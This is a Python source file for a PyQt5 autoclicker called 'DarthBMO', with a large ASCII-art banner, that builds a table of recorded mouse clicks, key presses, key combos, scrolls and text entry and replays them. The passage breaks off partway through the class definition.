#         â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ     â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ
#        â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ_â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–ˆ
#       â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ
#      â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ
#      â–ˆâ–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–ˆ
#    â–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–ˆâ–ˆ
#   â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆ
#   â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–ˆ
#   â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–‘â–‘â–ˆ
#  â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆ
# â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ
#â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–ˆâ–ˆâ–ˆâ–ˆ   â–ˆâ–ˆâ–ˆâ–ˆ â–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–ˆ
#â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ      â–ˆ â–ˆâ–ˆâ–ˆ   â–ˆ   â–ˆâ–ˆâ–ˆ â–ˆ â–ˆ
#â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ   â–ˆâ–ˆâ–ˆâ–ˆ â–ˆâ–ˆâ–ˆâ–ˆ    â–ˆâ–ˆ â–ˆâ–ˆâ–ˆâ–ˆ
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–ˆ
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–‘â–‘â–‘â–‘â–‘â–ˆ                                            _____                                 _____                                            _____                                                   _____
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ                                          /\    \                               /\    \                                          /\    \                                                 /\    \
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ                      ::                 /::\    \                             /::\    \                                        /::\____\                                               /::\____\
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ                                        /::::\    \                           /::::\    \           :::         ::           ::: ::/    /                         :                   :: ::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ                                       /::::::\    \                         /::::::\    \                               ::: : :::/    /                                              /:::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–’â–’â–’â–’â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–ˆ                                     /:::/\:::\    \                    :: ::::/\:::\    \                                  /:::/    /                                              /:::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–ˆ                                    /:::/__\:::\    \                     /:::/__\:::\    \                                /:::/    /                                            :::: :/____/
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–’â–ˆâ–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ                                    /::::\   \:::\    \                   /::::\   \:::\    \                              /:::/    /                                              /::::\    \
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–’â–’â–ˆâ–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆ                                       /::::::\   \:::\    \                 /::::::\   \:::\    \                            /:       /      _____                                   /::::::\    \   _____
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–ˆâ–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ â–ˆâ–ˆâ–ˆâ–ˆ                                 /:::/\:::\   \:::\ ___\               /:::/\:::\   \:::\____\                          /:::/____/      /\    \                                 /:::/\:::\    \ /\    \
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–ˆâ–ˆâ–“â–“â–’â–“â–’â–“â–’â–“â–’â–’â–’â–’â–’â–’â–’â–’â–“â–ˆâ–“â–’â–’â–’â–ˆ                               /:::/__\:::\   \:::|    |             /:::/  \:::\   \:::|    |                         :::|    /      /::\____\                        ::::::: :::/ : :::\    /::\____\
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–’â–ˆâ–ˆâ–ˆâ–“â–ˆâ–ˆâ–’â–’â–’â–’â–’â–’â–’â–’â–’â–ˆ                  :            \:::\   \:::\  /:::|____|             \::/   |::::\  /:::|____|                      : :: :|____\     /:::/    /                               \::/    \:::\: ::::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–’â–’â–’â–’â–’â–’â–’â–’â–’â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–ˆâ–“â–ˆâ–ˆ                                 \:::\   \:::\/:::/    /               \/____|:::::\/:::/    /                          \:::\    \   /:::/    /                                 \/____/: :::\/:::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–’â–ˆ                                  \:::\   \::::::/    /                      |:::::::::/    /                            \:::\   :: : ::/    /                                 :  :  : : :::::::/    /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ                                    \:::\   \::::/    /          :  :         |::|\::::/    /           ::                 \:::\    /:::/    /               ::::                          \::       /
#â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ            ::                           \:::\  /:::/    /                      :: ::| \::/____/                                \:::\__/:::/    /                                              /:::/    /
#â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ                                           \:::\/:::/    /                         |::|  ~|                                       \::::::::/    /                                             : :::/    /
#â–“â–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ                                              \::::::/    /                          |::|   |                                        \::::::/    /                                              /:::/    /
#â–“â–“â–“â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆ                                                 \::::/    /                           \::|   |                                         \::::/    /                              ::: :           /:::/    /
#â–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–‘â–ˆâ–ˆ                                 :                 \::/____/            :                \:|   |               :    ::::                  \::/____/                                               \::/    /
#â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–“â–“â–ˆ                                                   â ‹                                     \|___|                                           â ©                                                      \/____/
#â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆâ–ˆ
#â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆ                                                                                |                                                                    |                                      |
#â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–“â–ˆ                                                                    |                                                                                |
#______________________________                                                                                |                                                                                |                                                                                |                    |
#___________________________
#_ ______ _____ _________
#/            /                                                         |                                |                       |                    |                |                       |                    |                |                       |                    |                     |                       |                    |

#       \                          |                                |                                               |  |                                          |                    |                                          |                       |                    |  |                                           |                    |        |                    |                              |

#     |               |                                 |

#                 |                                                |            |                                   |                               |                           |                               |                           |                               |                                |                               |
#          |                                  |                                     |

#                 |                     |                                                     |                                   |                               |     |                                   |                               |     |                                   |                               |          |                                   |                               |
#  |                          |                       |                    |
#          |                                    |                                         |     |                    |                                    | |     |                    |                                    | |     |                    |                                    |      |     |                                                        |
#     |                        |                                 |      |                                |                       |                    |                |                       |                    |                |                       |                    |                     |                       |                    |

#                     |                                                |      |                                   |                               |                         |                               |                         |                               |                              |                               |
#          |                                   |                               |                   |                                |                       |                    |          |                                |                       |                    |          |                                |                       |                    |               |                                |                                        |

#                 |                     |
#  |                                |                       |                    |            |                                |                       |                    |     |                                |                       |                    |     |                                |                       |                              |                                |
#          |                               |                                         |                              |                       |                    |                           |                       |                    |                           |                       |                    |                                |                       |                    |

#  |         |                                   PRESENTATION                                                |                                |                    |   |                                |                    |   |                                |                    |        |                                |                    |
#                                                                                |                               |     |                                   |                               |     |                                   |                               |          |                                   |                               |
#               |                             /                 \                          |                                                                              |                               |     |                                   |                               |     |                                   |                               |          |                                   |                               |

#       |                              An autoclicker who repeat action                    |                                           |               |                                           |               |                                           |                    |                                           |

#                          /                      |    v    |                    \

#                     from a list with almost all possibilities that offer a computer        |                                |                                          |      |                                |                                          |      |                                |                                          |           |                                |
#     |                  !      |                                   |     |                                |                       |                    |                |                       |                    |                |                       |                    |                    |                                           |
#                               |                                   |     |
#                  |            |                   Anyway          !                        |                                         |                                |                       |                    |                |                       |                    |                |                       |                    |                    |

#             |                      |                 have                                                 |                        |                                         |                                |                       |                    |                |                       |                    |                |                       |                    |                     |                                           |

#                |                                  FUN         |                        |                                         |                                |                       |                    |                |                       |                    |                |                       |                    |                    |                                                                      |

#                                                        =)

#
#                               |                      or                                       |                                                            |                    |                |                       |                    |                |                       |                    |                    |                                           |

#             |                              |       DIE ! ! !        |                       |                            |                |                       |                    |                |                       |                    |                    |                                           |#     |                        |                                         |                                |

#
#                                                    !                                       |                                |                    |  |                                |                    |  |                                |                    |       |                                |                    |

#     |               |                                 !

#                 |                                                |            |                                   |                               |                           |                               |                           |                               |                                |                               |
#          |                                  !                                     |

#                 |                     |                                                     |                                   |                               |     |                                   |                               |     |                                   |                               |          |                                   |                               |
#  |                          |                       |                    !
#          |                                    |                                         |     |                    |                                    | |     |                    |                                    | |     |                    |                                    |      |     |                    |                                    |
#     |                        |                                 |      |                                |                       |                    |                |                       |                    |                |                       |                    |                    |                                           |

#                     |                                                |      |                                   |                               |                         |                               |                         |                               |                              |                               |
#          |                                   |                               |                   |                                |                       |                    |          |                                |                       |                    |          |                                |                       |                    |               |                                                                |

#                 |                     |
#  |                                |                       |                    |            |                                |                       |                    |     |                                |                       |                    |                                    |                       |                              |                                                                        |
#          |                               |                                         !                              |                       |                    |                           |                       |                    |                           |                       |                    |                                |                       |                    |

#_ _  _ ____ ___ ____ _    _    ____ ___ _ ____ _  _
#| |\ | [__   |  |__| |    |    |__|  |  | |  | |\ |
#| | \| ___]  |  |  | |___ |___ |  |  |  | |__| | \|

import  time,threading,uuid, random

from PyQt5.QtCore import Qt,QTimer
from PyQt5.QtWidgets import (QMainWindow, QVBoxLayout,QHBoxLayout, QTableWidget, QSpacerItem,
                            QPushButton,QCheckBox,  QWidget, QComboBox, QLabel, QLineEdit, QSpinBox,
                            QDoubleSpinBox, QFileDialog,QSizePolicy)

from pynput import mouse
from pynput.mouse import  Controller as MouseController, Button
from pynput.mouse import Listener as MouseListener
from pynput.keyboard import Key, Controller as KeyboardController
from pynput.keyboard import Listener

from functools import partial

#___  ____ _ _ _ ____ ____    ___  _    ____ _  _ ___
#|__] |  | | | | |___ |__/    |__] |    |__| |\ |  |
#|    |__| |_|_| |___ |  \    |    |___ |  | | \|  |

#OPENING | https://www.youtube.com/watch?v=_85LaeTCtV8 :3

class DarthBMO(QMainWindow):

    def __init__(self, logger):
        super().__init__()

        self.logger = logger

        # Initialize some variables needed to record the scroll method
        self.recording_scroll = False
        self.scroll_amount = 0
        self.mouse_controller = MouseController()

        #Set uniques ID for any row to avoid errors
        self.row_ids = set()

        self.GUI()

    def launch_script_thread(self):
        # This method starts a new thread to run the script
        self.stop_script = False
        script_thread = threading.Thread(target=self.launch_script)
        script_thread.start()

    def on_key_press(self, key):
        # This method is called when a key is pressed, and it sets the stop_script flag to True if the key pressed is F8
        if key == Key.f8:
            self.stop_script = True

#_ _ _ _ ___  ____ ____ ___ ____
#| | | | |  \ | __ |___  |  [__
#|_|_| | |__/ |__] |___  |  ___]

# Function record click mouse (double click in program launch)
    def click_widgets(self, row):
        # Create widgets for a "Clic" or "Double clic" action
        x_line_edit = QLineEdit()
        y_line_edit = QLineEdit()
        position_button = QPushButton("Position")
        position_button.clicked.connect(lambda: self.record_mouse_position(x_line_edit, y_line_edit))
        delay_spinbox = self.create_delay_spinbox()

        # Return the widgets as a list
        return [x_line_edit, y_line_edit, position_button, delay_spinbox]

#Function to move the mouse without clicking
    def move_widgets(self, row):
        # Create line edits for x and y coordinates, a button to record the position, and a delay spinbox
        x_line_edit = QLineEdit()
        y_line_edit = QLineEdit()
        position_button = QPushButton("Position")

        position_button.clicked.connect(lambda: self.record_mouse_position(x_line_edit, y_line_edit))
        delay_spinbox = self.create_delay_spinbox()

        return [x_line_edit, y_line_edit, position_button, delay_spinbox]

#Function to play a pressed key
    def key_press_widgets(self, row):
        # Create widgets for a "Press" action
        key_dropdown = QComboBox()
        all_keys = [k.name for k in Key]
        key_dropdown.addItems(all_keys)
        spinbox = QSpinBox()
        spinbox.setValue(1)
        label = QLabel("x")
        delay_spinbox = self.create_delay_spinbox()
        return [key_dropdown, spinbox, label, delay_spinbox]

# Functions to record the scroll position
    def scroll_widgets(self, row):
        # Create spinboxes for positive and negative scroll amounts, a button to record the amount, and a delay spinbox
        scroll_spinbox_positive = QSpinBox()
        scroll_spinbox_positive.setRange(1, 100)
        scroll_spinbox_negative = QSpinBox()
        scroll_spinbox_negative.setRange(-100, -1)
        record_button = QPushButton("Record")
        record_button.setCheckable(True)
        record_button.clicked.connect(lambda: self.record_scroll_amount(record_button, scroll_spinbox_positive, scroll_spinbox_negative))
        delay_spinbox = self.create_delay_spinbox()

        return [scroll_spinbox_positive, scroll_spinbox_negative, record_button, delay_spinbox]

    def on_scroll(self, x, y, dx, dy):
        # Listen the scroll
        if self.recording_scroll:
            self.scroll_amount += dy

    def record_scroll_amount(self, record_button, scroll_spinbox_positive, scroll_spinbox_negative):
        # If the record button is checked, start recording mouse scroll events
        if record_button.isChecked():
            record_button.setText("Stop")
            self.recording_scroll = True
            self.scroll_amount = 0
            self.listener = MouseListener(on_scroll=self.on_scroll)
            self.listener.start()

        # If the record button is unchecked, stop recording and update the spinboxes with the recorded scroll amount
        else:
            record_button.setText("Record")
            self.recording_scroll = False
            if self.scroll_amount != 0:
                if self.scroll_amount > 0:
                    scroll_spinbox_positive.setValue(self.scroll_amount)
                    scroll_spinbox_negative.setValue(0)
                else:
                    scroll_spinbox_positive.setValue(0)
                    scroll_spinbox_negative.setValue(self.scroll_amount)
            # Stop the listener and reset the recorded scroll amount
            self.listener.stop()
            self.scroll_amount = 0

    def update_scroll_spinboxes(self, scroll_spinbox_positive, scroll_spinbox_negative):
        # Update the spinboxes with the recorded scroll amount
        if self.scroll_amount > 0:
            # If the scroll amount is positive, set the positive spinbox to the scroll amount and the negative spinbox to 0
            scroll_spinbox_positive.setValue(self.scroll_amount)
            scroll_spinbox_negative.setValue(0)
            # Start the listener to capture additional scroll events
            self.listener.start()
        else:
            # If the scroll amount is negative, set the negative spinbox to the scroll amount and the positive spinbox to 0
            scroll_spinbox_positive.setValue(0)
            scroll_spinbox_negative.setValue(self.scroll_amount)
            # Update the spinboxes recursively until the scroll amount is zero
            self.update_scroll_spinboxes(scroll_spinbox_positive, scroll_spinbox_negative)

# Function to enter text
    def text_widgets(self, row):
        # Create a line edit widget for the text to be typed
        line_edit = QLineEdit()
        # Create a delay spinbox widget to set the delay after the action
        delay_spinbox = self.create_delay_spinbox()
        # Return the widgets as a list
        return [None,line_edit, None, delay_spinbox]

    def keywords_widgets(self, row):
        # Create a line edit widget for the keywords to be typed
        line_edit = QLineEdit()
        # Create a dropdown widget to choose the separator for multiple keywords
        separator_dropdown = QComboBox()
        separator_dropdown.addItems(["Enter", ",", ".", "-", "_", ";"])
        # Create a delay spinbox widget to set the delay after the action
        delay_spinbox = self.create_delay_spinbox()
        # Return the widgets as a list
        return [separator_dropdown, line_edit, None, delay_spinbox]

# Function to add keys combo
    def combo_widgets(self, row):
        # Create a dropdown widget to choose the combo action
        combo_dropdown = QComboBox()
        combo_dropdown.addItems([
            "Ctrl+C", "Ctrl+V", "Ctrl+X", "Ctrl+Z", "Ctrl+Y",
            "Ctrl+A", "Ctrl+F", "Ctrl+S", "Ctrl+O", "Ctrl+P",
            "Ctrl+T", "Ctrl+W", "Ctrl+N", "Ctrl+R", "Ctrl+U",
            "Ctrl+Shift+T", "Ctrl+Shift+N", "Ctrl+Shift+W", "Ctrl+Alt",
            "Alt+Tab", "Alt+F4", "Alt+Enter", "Alt+Space",
            "Shift+Del", "Shift+Ins", "Shift+Home", "Shift+End",
            "Win+D", "Win+M", "Win+E", "Win+R", "Win+L"
        ])
        # Create two dropdown widgets to choose additional keys
        key1_dropdown = QComboBox()
        key2_dropdown = QComboBox()

        # Create lists of all possible keys to add to the dropdowns
        letters = [chr(i) for i in range(ord('a'), ord('z') + 1)]
        digits = [str(i) for i in range(10)]
        symbols = ["`", "~", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "-", "_", "=", "+", "[", "{", "]", "}", ";", ":", "'", "\"", ",", "<", ".", ">", "/", "?", "\\", "|"]
        all_keys = [""] + [k.name for k in Key] + letters + digits + symbols

        # Add all keys to the dropdowns
        key1_dropdown.addItems(all_keys)
        key2_dropdown.addItems(all_keys)
        # Create a delay spinbox widget to set the delay after the action
        delay_spinbox = self.create_delay_spinbox()
        # Return the widgets as a list
        return [combo_dropdown, key1_dropdown, key2_dropdown, delay_spinbox]

    def wait_widgets(self, row):
        return [None, None, None, self.create_delay_spinbox()]

#_  _ ____ _ _  _    ____ _  _ _  _ ____ ___ _ ____ _  _ ____
#|\/| |__| | |\ |    |___ |  | |\ | |     |  | |  | |\ | [__
#|  | |  | | | \|    |    |__| | \| |___  |  | |__| | \| ___]

    def string_to_keys(self, key_string):
        # Convert a string representation of keyboard keys to a list of Key objects
        key_list = key_string.split("+")
        keys = []

        for key in key_list:
            key = key.strip()
            if not key:
                continue
            if key == "Ctrl":
                keys.append(Key.ctrl)
            elif key == "Shift":
                keys.append(Key.shift)
            elif key == "Alt":
                keys.append(Key.alt)
            elif key == "Win":
                keys.append(Key.cmd)
            else:
                try:
                    keys.append(Key[key])
                except KeyError:
                    keys.append(key.lower())

        return keys

    def release_modifier_keys(self, keyboard_controller):
        # Release all modifier keys (Ctrl, Alt, Shift, and Windows key)
        modifier_keys = [Key.ctrl, Key.alt, Key.shift, Key.cmd]
        for key in modifier_keys:
            keyboard_controller.release(key)

    def create_delay_spinbox(self):
        # Create a QDoubleSpinBox widget for entering delays between actions
        delay_spinbox = QDoubleSpinBox()
        delay_spinbox.setRange(0, 60)
        delay_spinbox.setSingleStep(0.1)
        delay_spinbox.setValue(0.1)
        return delay_spinbox

    def on_click(self, x, y, button, pressed):
        # Update the stored mouse position when a mouse button is clicked
        if pressed:
            self.mouse_x, self.mouse_y = x, y
            return False

    def record_mouse_position(self, x_line_edit, y_line_edit):
        # Record the current mouse position and set the values of the specified line edits to the recorded values
        self.mouse_x, self.mouse_y = None, None
        with mouse.Listener(on_click=self.on_click) as listener:
            listener.join()
        if self.mouse_x is not None and self.mouse_y is not None:
            x_line_edit.setText(str(self.mouse_x))
            y_line_edit.setText(str(self.mouse_y))

    def clear_table(self):
        def clear_action():
            # Clear all rows from the script table
            self.table.setRowCount(0)

        confirmation_message = "Do you really want to delete everything?"
        self.logger.show_choice(self, confirmation_message, clear_action)

    def toggle_time_machine(self, state):
        # If the time machine checkbox is checked, update the delay values in the script table based on the time machine factor
        # If the checkbox is unchecked, update the delay values based on the inverse of the time machine factor

        if state == Qt.Checked:
            factor = self.time_machine_spinbox.value() / 100
            self.update_delays(factor)

        else:
            factor = 100 / self.time_machine_spinbox.value()
            self.update_delays(factor)

    def update_delays(self, factor):
        # Update the delay value for each row in the script table based on the specified factor
        for i in range(self.table.rowCount()):
            delay_spinbox = self.table.cellWidget(i, 4)

            if delay_spinbox is not None:
                delay = delay_spinbox.value() * factor
                delay_spinbox.setValue(delay)

#____ ____ _ _ _    ____ ____ ___ _ ____ _  _ ____
#|__/ |  | | | |    |__| |     |  | |  | |\ | [__
#|  \ |__| |_|_|    |  | |___  |  | |__| | \| ___]

    def add_row(self):
        # Get the current number of rows in the table
        row = self.table.rowCount()
        # Call add_or_insert_row to add a new row at the end of the table
        self.add_or_insert_row(row)

    def insert_row(self, row):
       # Call add_or_insert_row to insert a new row below the specified row
       self.add_or_insert_row(row + 1)

       # Update the row attribute of add buttons in the rows below the newly inserted row
       for r in range(row + 2, self.table.rowCount()):
           add_button = self.table.cellWidget(r, 6)
           if add_button is not None and isinstance(add_button, QPushButton):
               add_button.row = r

    def add_or_insert_row(self, row, skip_update=False):
        # Generate a new unique row ID
        row_id = uuid.uuid4()
        # Add the row ID to the set of row IDs
        self.row_ids.add(row_id)

        # Insert a new row into the table at the specified position
        self.table.insertRow(row)

        # Create a dropdown widget to select the action type for the new row
        action_type_dropdown = self._create_action_type_dropdown(row)
        # Set the cell widget for the action type dropdown
        self.table.setCellWidget(row, 0, action_type_dropdown)

        if not skip_update:
            # Create widgets for the selected action type and add them to the row
            widgets = self.get_widgets_for_action_type(action_type_dropdown.currentText(), row)
            self.add_widgets(row, widgets)

        # Create a button widget to delete the new row and add it to the table
        delete_button = self._create_delete_button(row_id)
        self.table.setCellWidget(row, 5, delete_button)

        # Create a button widget to insert a new row below the new row and add it to the table
        add_button = self._create_add_button(row)
        self.table.setCellWidget(row, 6, add_button)

        # Use QTimer to defer the execution of update_row_widgets
        if not skip_update:
            QTimer.singleShot(0, lambda: self.update_row_widgets(row))

        # If it's not the first row, copy the previous row's widgets
        if row > 0 and not skip_update:
            self.initialize_row(row - 1, row)

    def initialize_row(self, src_row, dest_row):
        # Iterate through columns 1 to 4
        for col in range(1, 5):
            # Get widget from corresponding cell of source row
            src_widget = self.table.cellWidget(src_row, col)

            # Create a new widget based on the type of the source widget
            if src_widget is None:
                # Create new empty QLabel if widget doesn't exist
                new_widget = QLabel("")

            elif isinstance(src_widget, QLineEdit):
                # Create new QLineEdit with same text as source widget
                new_widget = QLineEdit(src_widget.text())

            elif isinstance(src_widget, QComboBox):
                new_widget = QComboBox()
                new_widget.addItems([src_widget.itemText(i) for i in range(src_widget.count())])
                new_widget.setCurrentText(src_widget.currentText())

            elif isinstance(src_widget, QSpinBox):
                new_widget = QSpinBox()
                new_widget.setValue(src_widget.value())

            elif isinstance(src_widget, QDoubleSpinBox):
                new_widget = QDoubleSpinBox()
                new_widget.setValue(src_widget.value())

            else:
                # Create new empty QLabel if widget is of none of the above types
                new_widget = QLabel("")

            # Place the new widget in the corresponding cell of the destination row
            self.table.setCellWidget(dest_row, col, new_widget)

    def _create_action_type_dropdown(self, row):
        # Create a dropdown widget for selecting action type
        action_type_dropdown = QComboBox()

        # Add available action types to the dropdown
        action_type_dropdown.addItems(["Clic", "Double clic", "Move", "Press", "Combo", "Scroll", "Text", "Keywords", "Wait"])

        # Connect the currentIndexChanged signal to update the widgets for the row when the action type is changed
        action_type_dropdown.currentIndexChanged.connect(partial(self.update_row_widgets, row))
        return action_type_dropdown

